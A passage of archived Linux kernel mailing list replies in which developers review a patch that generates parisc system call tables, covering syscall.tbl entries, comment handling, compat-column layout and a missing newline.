 Mon, 08 Oct 2018 22:35:47 -0700 (PDT)
In-Reply-To: <CAK8P3a0eoCVBVOZs0VwybAnUw0OUoW4Z=NJYi8686EHKj076_Q@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2893978 gmane.linux.ports.parisc:29109 gmane.linux.kernel.year-2038:3471 gmane.linux.kernel.cross-arch:47501
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2893978>

Hi Eugene, Arnd,

On Mon, 8 Oct 2018 at 19:27, Arnd Bergmann <arnd@arndb.de> wrote:
>
> On Mon, Oct 8, 2018 at 3:02 PM Eugene Syromiatnikov <esyr@redhat.com> wrote:
> > > On Mon, 8 Oct 2018 at 10:47, Firoz Khan <firoz.khan@linaro.org> wrote:
> > > > diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
> >
> > > > +84      common  lstat                           sys_newlstat                    compat_sys_newlstat
> > > > +85      common  readlink                        sys_readlink
> > > > +86      common  uselib                          sys_ni_syscall
> >
> > Why uselib is declared, contrary to all the skipped syscalls below,
> > that were sys_ni_syscall previously? Only __NR_socketcall was explicitly
> > undefined in arch/parisc/include/uapi/asm/unistd.h.
>
> Good catch, I didn't see that in my earlier review. I agree we want the
> files to be identical to the version they replace, so the macros need to
> be there for now.
>
> We may later decide to clean this up and remove all __NR_* that have
> no entry point, but the conversion to the new table format needs to
> otherwise be a nop.
>
> > > > +87      common  swapon                          sys_swapon
> > > > +88      common  reboot                          sys_reboot
> > > > +89      common  mmap2                           sys_mmap2
> > > > +90      common  mmap                            sys_mmap
> > > > +91      common  munmap                          sys_munmap
> > > > +92      common  truncate                        sys_truncate                    compat_sys_truncate
> > > > +93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
> > > > +94      common  fchmod                          sys_fchmod
> > > > +95      common  fchown                          sys_fchown
> > > > +96      common  getpriority                     sys_getpriority
> > > > +97      common  setpriority                     sys_setpriority
> > > > +98      common  recv                            sys_recv
> > > > +99      common  statfs                          sys_statfs                      compat_sys_statfs
> > > > +100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
> > > > +101     common  stat64                          sys_stat64
> >
> > It is probably worth adding a comment here that syscall 102 was
> > socketcall, in order to make reason for this jump in syscall numeration
> > self-evident.
>
> +1
>
> In general, I'd argue we want to keep all the nontrivial comments that
> were present in either unistd.h or syscall_table.S.

unistd_32.h, unistd_64.h, syscall_table_32.h, syscall_table_64.h and
syscall_table_c32.h
are generated files. unistd.h and syscall_table.S file include
generated files. I had the
support to keep the comments in the generated files.

Eg:- from github
https://github.com/frzkhn/system_call_table_generator/blob/5fe5fb5a3ad457b234e7600d8a4b61b2e3629acd/ia64/syscall.tbl#L105

But I got to know the generated file don't carry any license info and
comment section. That's
why I removed it from all architecture.

I'm ok to keep this support for all architecture. Please feel free to
comment here.

>
> > > > +103     common  syslog                          sys_syslog
> > > > +104     common  setitimer                       sys_setitimer                   compat_sys_setitimer
> > > > +105     common  getitimer                       sys_getitimer                   compat_sys_getitimer
> > > > +106     common  capget                          sys_capget
> > > > +107     common  capset                          sys_capset
> >
> > > > +108     32      pread64                         parisc_pread64
> > > > +108     64      pread64                         sys_pread64                     parisc_pread64
> >
> > It would be probably nice to have some syntax that would allow avoid
> > this duplication (as compat handler on 64 bit and native on 32 bit are
> > the same).
>
> I think I would prefer to have the compat table be generated with the '32'
> abi rather than the '64' abi, so we end up with
>
> 108     32      pread64                         parisc_pread64
>    parisc_pread64
> 108     64      pread64                         sys_pread64
>
> I think this makes more sense, in particular on the other architectures
> that have different macro names in some cases. When we do this,
> the entries could get compressed to
>
> 108     32      pread64                         parisc_pread64
> 108     64      pread64                         sys_pread64
>

Sure. I can do this thing. The above one may be applicable for parisc not other
architecture. So the scripts might be slightly different. If we keep a
standard way,
the script will be unique. So the only difference will be Makefile and
.tbl files for all
architecture; I think that is our one of the goal.

> > > > +348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> > > > +349     common  statx                           sys_statx
> > > > +350    common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> > > > \ No newline at end of file
>
> As others have commented several times, Firoz still needs to fix
> the missing newline.

Sure. I was wondering why the checkpatch script is not catching this one.
Where ever I came across I fixed it.

Thanks
Firoz

>
> Firoz, please fix all the newlines before you repost any further
> patches.
>
>       Arnd


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 3/6] parisc: add system call table generation support
Date: Tue, 9 Oct 2018 11:10:32 +0530
Lines: 129
Approved: news@gmane.org
Message-ID: <CALxhOniF517UCU-u-kL9OwcRXGDnmASX249LUgtZ1NLvxM53xg@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-4-git-send-email-firoz.khan@linaro.org> <CALxhOnj4r_MUuAa2zvkvxvhQttEvCZ98n2dA9d6CYyvVf2rB3g@mail.gmail.com>
 <20181008130301.GM32759@asgard.redhat.com> <CAK8P3a0eoCVBVOZs0VwybAnUw0OUoW4Z=NJYi8686EHKj076_Q@mail.gmail.com>
 <CALxhOniJZGNCP+Xw_9EF8hnUEG_AWwrnQ86Gbh7vAW6SrE8ykQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539063521 27755 195.159.176.226 (9 Oct 2018 05:38:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Oct 2018 05:38:41 +0000 (UTC)
Cc: esyr@redhat.com, linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 09 07:38:36 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9kj5-00077R-8N
	for glk-linux-kernel-4@m.gmane.org; Tue, 09 Oct 2018 07:38:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726418AbeJIMzz (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 9 Oct 2018 08:55:55 -0400
Original-Received: from mail-yw1-f68.google.com ([209.85.161.68]:37881 "EHLO
        mail-yw1-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725823AbeJIMzz (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 9 Oct 2018 08:55:55 -0400
Original-Received: by mail-yw1-f68.google.com with SMTP id y14-v6so154524ywa.4
        for <linux-kernel@vger.kernel.org>; Mon, 08 Oct 2018 22:40:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=RrvME24R0Jb2yMT9mjAMiR34IYCUWzSfgjSn97f/t7A=;
        b=A6zw25aB3I8tGSP8tCW0IaSmGpHa9CUn8sUKaAPAXR64Vcfao20ZE7Y0S6BgqTjDij
         xivbhSZvYGAUThgfL1dlw1lb6lCIwA5EQtNsu7X/O9NAD15O5guQhv1PgsbnnfLZaw8H
         0UpNLQFnOPJsg4LembOi5xgFxHOYCMnKTURRE=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=RrvME24R0Jb2yMT9mjAMiR34IYCUWzSfgjSn97f/t7A=;
        b=D8L5ahQ9IjrkJ91wP+ysVJbvSAKttRrwt0saLuNtSyTAxT31gPNPOlIAxqkJ1hX1iq
         vIJKwVqSmY4O/FO0wJ1xvxEqp3m/nCRKoN7Ms3swQvIhjbyOpXNAF4D1Qlpvyl7q2YMz
         gWcHOgyeZSyXQJquLVNKRhSEuxhPxtaVqzoC7212/clFnyrvbypzLRQOCeb8/9eXzTq/
         MvTaEb7CiDBQgPnJhr0URNo+3dAdy372eQoEVtokyja9jDQPohCXgLQzFByaoBSKCO4l
         4EW4hb782CS/9q2GHrq2i0qF9Zp7+JwCC+JMT/gXF8S36on4uKxzVyp9n3FHymtAaqeL
         PXzQ==
X-Gm-Message-State: ABuFfoh4puO2NlIyvmnhq4apCqMWqcMyZjZlR2NTbw/ToNHEG/HE5M2I
        NO6z5Nlev5YeMhOFTBuVpKoV64/xCcnt6qmPnzQODQ==
X-Google-Smtp-Source: ACcGV612MgpPuzRMs3nlB049KcrpoxDL6vv5OC9aLHMnvcg/FAeOFU16eEg0cg925XgC4xo5ntr6lcBCqtmeEqNtNrQ=
X-Received: by 2002:a81:1b85:: with SMTP id b127-v6mr15210571ywb.381.1539063643241;
 Mon, 08 Oct 2018 22:40:43 -0700 (PDT)
In-Reply-To: <CALxhOniJZGNCP+Xw_9EF8hnUEG_AWwrnQ86Gbh7vAW6SrE8ykQ@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2893980 gmane.linux.ports.parisc:29110 gmane.linux.kernel.year-2038:3472 gmane.linux.kernel.cross-arch:47502
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2893980>

On Tue, 9 Oct 2018 at 11:05, Firoz Khan <firoz.khan@linaro.org> wrote:
>
> Hi Eugene, Arnd,
>
> On Mon, 8 Oct 2018 at 19:27, Arnd Bergmann <arnd@arndb.de> wrote:
> >
> > On Mon, Oct 8, 2018 at 3:02 PM Eugene Syromiatnikov <esyr@redhat.com> wrote:
> > > > On Mon, 8 Oct 2018 at 10:47, Firoz Khan <firoz.khan@linaro.org> wrote:
> > > > > diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
> > >
> > > > > +84      common  lstat                           sys_newlstat                    compat_sys_newlstat
> > > > > +85      common  readlink                        sys_readlink
> > > > > +86      common  uselib                          sys_ni_syscall
> > >
> > > Why uselib is declared, contrary to all the skipped syscalls below,
> > > that were sys_ni_syscall previously? Only __NR_socketcall was explicitly
> > > undefined in arch/parisc/include/uapi/asm/unistd.h.
> >
> > Good catch, I didn't see that in my earlier review. I agree we want the
> > files to be identical to the version they replace, so the macros need to
> > be there for now.
> >
> > We may later decide to clean this up and remove all __NR_* that have
> > no entry point, but the conversion to the new table format needs to
> > otherwise be a nop.
> >
> > > > > +87      common  swapon                          sys_swapon
> > > > > +88      common  reboot                          sys_reboot
> > > > > +89      common  mmap2                           sys_mmap2
> > > > > +90      common  mmap                            sys_mmap
> > > > > +91      common  munmap                          sys_munmap
> > > > > +92      common  truncate                        sys_truncate                    compat_sys_truncate
> > > > > +93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
> > > > > +94      common  fchmod                          sys_fchmod
> > > > > +95      common  fchown                          sys_fchown
> > > > > +96      common  getpriority                     sys_getpriority
> > > > > +97      common  setpriority                     sys_setpriority
> > > > > +98      common  recv                            sys_recv
> > > > > +99      common  statfs                          sys_statfs                      compat_sys_statfs
> > > > > +100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
> > > > > +101     common  stat64                          sys_stat64
> > >
> > > It is probably worth adding a comment here that syscall 102 was
> > > socketcall, in order to make reason for this jump in syscall numeration
> > > self-evident.
> >
> > +1
> >
> > In general, I'd argue we want to keep all the nontrivial comments that
> > were present in either unistd.h or syscall_table.S.
>
> unistd_32.h, unistd_64.h, syscall_table_32.h, syscall_table_64.h and
> syscall_table_c32.h
> are generated files. unistd.h and syscall_table.S file include
> generated files. I had the
> support to keep the comments in the generated files.
>
> Eg:- from github
> https://github.com/frzkhn/system_call_table_generator/blob/5fe5fb5a3ad457b234e7600d8a4b61b2e3629acd/ia64/syscall.tbl#L105
>
> But I got to know the generated file don't carry any license info and
> comment section. That's
> why I removed it from all architecture.
>
> I'm ok to keep this support for all architecture. Please feel free to
> comment here.

My suggestion is to leave the non trivial comments only in the .tbl file.

Thanks
Firoz

>
> >
> > > > > +103     common  syslog                          sys_syslog
> > > > > +104     common  setitimer                       sys_setitimer                   compat_sys_setitimer
> > > > > +105     common  getitimer                       sys_getitimer                   compat_sys_getitimer
> > > > > +106     common  capget                          sys_capget
> > > > > +107     common  capset                          sys_capset
> > >
> > > > > +108     32      pread64                         parisc_pread64
> > > > > +108     64      pread64                         sys_pread64                     parisc_pread64
> > >
> > > It would be probably nice to have some syntax that would allow avoid
> > > this duplication (as compat handler on 64 bit and native on 32 bit are
> > > the same).
> >
> > I think I would prefer to have the compat table be generated with the '32'
> > abi rather than the '64' abi, so we end up with
> >
> > 108     32      pread64                         parisc_pread64
> >    parisc_pread64
> > 108     64      pread64                         sys_pread64
> >
> > I think this makes more sense, in particular on the other architectures
> > that have different macro names in some cases. When we do this,
> > the entries could get compressed to
> >
> > 108     32      pread64                         parisc_pread64
> > 108     64      pread64                         sys_pread64
> >
>
> Sure. I can do this thing. The above one may be applicable for parisc not other
> architecture. So the scripts might be slightly different. If we keep a
> standard way,
> the script will be unique. So the only difference will be Makefile and
> .tbl files for all
> architecture; I think that is our one of the goal.
>
> > > > > +348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> > > > > +349     common  statx                           sys_statx
> > > > > +350    common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> > > > > \ No newline at end of file
> >
> > As others have commented several times, Firoz still needs to fix
> > the missing newline.
>
> Sure. I was wondering why the checkpatch script is not catching this one.
> Where ever I came across I fixed it.
>
> Thanks
> Firoz
>
> >
> > Firoz, please fix all the newlines before you repost any further
> > patches.
> >
> >       Arnd


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 3/6] parisc: add system call table generation support
Date: Tue, 9 Oct 2018 09:47:48 +0200
Lines: 83
Approved: news@gmane.org
Message-ID: <CAK8P3a0D+GUzza--ETrT1NHGduTfFGVoCcSEn5LxvKTtMYisbA@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-4-git-send-email-firoz.khan@linaro.org> <CALxhOnj4r_MUuAa2zvkvxvhQttEvCZ98n2dA9d6CYyvVf2rB3g@mail.gmail.com>
 <20181008130301.GM32759@asgard.redhat.com> <CAK8P3a0eoCVBVOZs0VwybAnUw0OUoW4Z=NJYi8686EHKj076_Q@mail.gmail.com>
 <CALxhOniJZGNCP+Xw_9EF8hnUEG_AWwrnQ86Gbh7vAW6SrE8ykQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539071164 15776 195.159.176.226 (9 Oct 2018 07:46:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Oct 2018 07:46:04 +0000 (UTC)
Cc: Eugene Syromiatnikov <esyr@redhat.com>,
        Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        gregkh <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 09 09:45:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9miM-0003zg-NS
	for glk-linux-kernel-4@m.gmane.org; Tue, 09 Oct 2018 09:45:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726764AbeJIPDn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 9 Oct 2018 11:03:43 -0400
Original-Received: from mail-qt1-f193.google.com ([209.85.160.193]:33214 "EHLO
        mail-qt1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726625AbeJIPDn (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 9 Oct 2018 11:03:43 -0400
Original-Received: by mail-qt1-f193.google.com with SMTP id q40-v6so612476qte.0;
        Tue, 09 Oct 2018 00:48:05 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=BTapHSjpivCU6Tmrhj51gzEopsaVt6YsrsoPoqgiudU=;
        b=Ow4aP+Y+/f8gQ7VfADOaElZOuV0+Zaa6aOzHDez4oLjYLJWyoBJBizROustF2Juw29
         gEdZeEGXA99aDMUrkziibakpWReFOl2cYtVNRvJOeCn/sMgaZpxuTStVavSLWP63eGY6
         mm9lXBHC7kgF+GoUs2h4xDMrIjNjdJiLzvnVePYIT/OzuR0GiGw9CA+yQL/dlPAdLUw4
         8HQ77DNkcMGUbP7N68RQ7s93iEo3PlDKZG60+dDOA6tnyePb0fWsuVeTH2XkIYmSS7Sy
         aKCGdWhGOCJHHRgXFw+e+vlU5ngAFJbqCqveBj5KCAtIyjCVxm3YTa/jnMpZHQtUXL1s
         Le6w==
X-Gm-Message-State: ABuFfoj8wkCHO4xF3/ULGP39++4xhPVUXzkFK/AQ8Z9P/hjp7buFmkpG
        Gs5rkRYY3r8/pnc0gj6teG8H+Edg3xccJuO9wC0=
X-Google-Smtp-Source: ACcGV61gTxB3ickep341OQI3mpIVmYuo8v5dehjacxz12Csgq3ZFqBbNvxP5Czn4d8jbdMi9xJd+ebdsXMEpLYAKTI0=
X-Received: by 2002:ac8:7254:: with SMTP id l20-v6mr22246528qtp.213.1539071285000;
 Tue, 09 Oct 2018 00:48:05 -0700 (PDT)
In-Reply-To: <CALxhOniJZGNCP+Xw_9EF8hnUEG_AWwrnQ86Gbh7vAW6SrE8ykQ@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2894074 gmane.linux.ports.parisc:29111 gmane.linux.kernel.year-2038:3473 gmane.linux.kernel.cross-arch:47510
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2894074>

On Tue, Oct 9, 2018 at 7:35 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> On Mon, 8 Oct 2018 at 19:27, Arnd Bergmann <arnd@arndb.de> wrote:
> > On Mon, Oct 8, 2018 at 3:02 PM Eugene Syromiatnikov <esyr@redhat.com> wrote:
> > > > > +87      common  swapon                          sys_swapon
> > > > > +88      common  reboot                          sys_reboot
> > > > > +89      common  mmap2                           sys_mmap2
> > > > > +90      common  mmap                            sys_mmap
> > > > > +91      common  munmap                          sys_munmap
> > > > > +92      common  truncate                        sys_truncate                    compat_sys_truncate
> > > > > +93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
> > > > > +94      common  fchmod                          sys_fchmod
> > > > > +95      common  fchown                          sys_fchown
> > > > > +96      common  getpriority                     sys_getpriority
> > > > > +97      common  setpriority                     sys_setpriority
> > > > > +98      common  recv                            sys_recv
> > > > > +99      common  statfs                          sys_statfs                      compat_sys_statfs
> > > > > +100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
> > > > > +101     common  stat64                          sys_stat64
> > >
> > > It is probably worth adding a comment here that syscall 102 was
> > > socketcall, in order to make reason for this jump in syscall numeration
> > > self-evident.
> >
> > +1
> >
> > In general, I'd argue we want to keep all the nontrivial comments that
> > were present in either unistd.h or syscall_table.S.
>
> unistd_32.h, unistd_64.h, syscall_table_32.h, syscall_table_64.h and
> syscall_table_c32.h
> are generated files. unistd.h and syscall_table.S file include
> generated files. I had the
> support to keep the comments in the generated files.
>
> Eg:- from github
> https://github.com/frzkhn/system_call_table_generator/blob/5fe5fb5a3ad457b234e7600d8a4b61b2e3629acd/ia64/syscall.tbl#L105
>
> But I got to know the generated file don't carry any license info and
> comment section. That's
> why I removed it from all architecture.
>
> I'm ok to keep this support for all architecture. Please feel free to
> comment here.

I meant just have the comments in the .tbl file, but not act on them.
One way to do this would be to let the script ignore everything
past the first '#' character in a line by passing it through 'sed -e "s:#.*$::"'
or a similar step (there is probably a nicer way to do this with
shell built-ins).

> > I think this makes more sense, in particular on the other architectures
> > that have different macro names in some cases. When we do this,
> > the entries could get compressed to
> >
> > 108     32      pread64                         parisc_pread64
> > 108     64      pread64                         sys_pread64
> >
>
> Sure. I can do this thing. The above one may be applicable for parisc not other
> architecture. So the scripts might be slightly different. If we keep a
> standard way,
> the script will be unique. So the only difference will be Makefile and
> .tbl files for all
> architecture; I think that is our one of the goal.

I would expect the above to actually be more important on other
architectures. E.g. on powerpc:

291     32    fstatat64        sys_fstatat64      sys_fstatat64
291     64    newfstatat     newfstatat

or (simplified)

291     32    fstatat64        sys_fstatat64
291     64    newfstatat     newfstatat

makes much more sense than

291     32    fstatat64        sys_fstatat64
291     64    newfstatat     newfstatat           sys_fstatat64

        Arnd


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 3/6] parisc: add system call table generation support
Date: Tue, 9 Oct 2018 15:06:46 +0530
Lines: 113
Approved: news@gmane.org
Message-ID: <CALxhOnhCRWsuz-2G-SovjfqkXpsRdTrG5Atz2X8s+T8u=GbUcA@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-4-git-send-email-firoz.khan@linaro.org> <CALxhOnj4r_MUuAa2zvkvxvhQttEvCZ98n2dA9d6CYyvVf2rB3g@mail.gmail.com>
 <20181008130301.GM32759@asgard.redhat.com> <CAK8P3a0eoCVBVOZs0VwybAnUw0OUoW4Z=NJYi8686EHKj076_Q@mail.gmail.com>
 <CALxhOniJZGNCP+Xw_9EF8hnUEG_AWwrnQ86Gbh7vAW6SrE8ykQ@mail.gmail.com> <CAK8P3a0D+GUzza--ETrT1NHGduTfFGVoCcSEn5LxvKTtMYisbA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539077696 9933 195.159.176.226 (9 Oct 2018 09:34:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Oct 2018 09:34:56 +0000 (UTC)
Cc: esyr@redhat.com, linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 09 11:34:51 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9oPi-0002Rk-KL
	for glk-linux-kernel-4@m.gmane.org; Tue, 09 Oct 2018 11:34:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726761AbeJIQxA (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 9 Oct 2018 12:53:00 -0400
Original-Received: from mail-yb1-f196.google.com ([209.85.219.196]:43367 "EHLO
        mail-yb1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726522AbeJIQxA (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 9 Oct 2018 12:53:00 -0400
Original-Received: by mail-yb1-f196.google.com with SMTP id w80-v6so342804ybe.10
        for <linux-kernel@vger.kernel.org>; Tue, 09 Oct 2018 02:36:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=17zqaui5EBajVfTVdgoLVDFkHiFX1468HNSXBzbCARg=;
        b=HgyJQiSLcbkd2etsoVBlYQEZQ3Os0ovcBhdrmLy8pGNaCido+e1Puon1JAUTs2p0VT
         RBwQOGT+S6rIZsO0c1M3v8hb2z4R89J2WLfg5TU7pZnYAORibVOAvHZXcm5NT+L3Jf+R
         BttPG1P7n0X0bu14MnyDverDibOWG9mVNlZjI=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=17zqaui5EBajVfTVdgoLVDFkHiFX1468HNSXBzbCARg=;
        b=q75diD/QHqR4uBtYy5OgrnUwEpXy2AIYA+FzRgjDH0671TO8o+WB17+69cYCV7Rbg4
         m+XIQ0BziuhJZpHEMI9NM0YvfY8dI7IF75TVByFPc3cr0KuuRbApbPx133NlcsLItszg
         zPeuLfwXUgVbpga5jABUhNdv7XIeWaOCdzcwq1nn8icfhCVeMUIL78Ym5zYYciKM53gw
         fvi5CJVO4lY7SzzJuCARodYC47S4eBbarAlVtugrtYVzydBZl6AF2eb11LiNAE+T1Ek0
         YV03mXGf2lrS5qDzPGHDzk2wim0q1YYdJNqrwGEtpL/ET+pjJ2sERl4NiCHsDZ/fuExa
         xZUg==
X-Gm-Message-State: ABuFfojNe884jwqq2/RFyZmjb4c6Y1ivnwH914uErztXEbZzTVuWID6L
        ipNWzj6sJLxuLpRMGtkevXW1gP9a1HnLB+o5TCpZpg==
X-Google-Smtp-Source: ACcGV62Irh51Jbq1cfzAA278VHf8AUDsn2x3SOD6O8Ytb9FqtCp/BMh/wu4sRBFt5j5MB57+PL345o++xJUVOa7q2VM=
X-Received: by 2002:a25:16d5:: with SMTP id 204-v6mr12675014ybw.223.1539077817547;
 Tue, 09 Oct 2018 02:36:57 -0700 (PDT)
In-Reply-To: <CAK8P3a0D+GUzza--ETrT1NHGduTfFGVoCcSEn5LxvKTtMYisbA@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2894159 gmane.linux.ports.parisc:29112 gmane.linux.kernel.year-2038:3474 gmane.linux.kernel.cross-arch:47512
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2894159>

Hi Arnd,

On Tue, 9 Oct 2018 at 13:18, Arnd Bergmann <arnd@arndb.de> wrote:
>
> On Tue, Oct 9, 2018 at 7:35 AM Firoz Khan <firoz.khan@linaro.org> wrote:
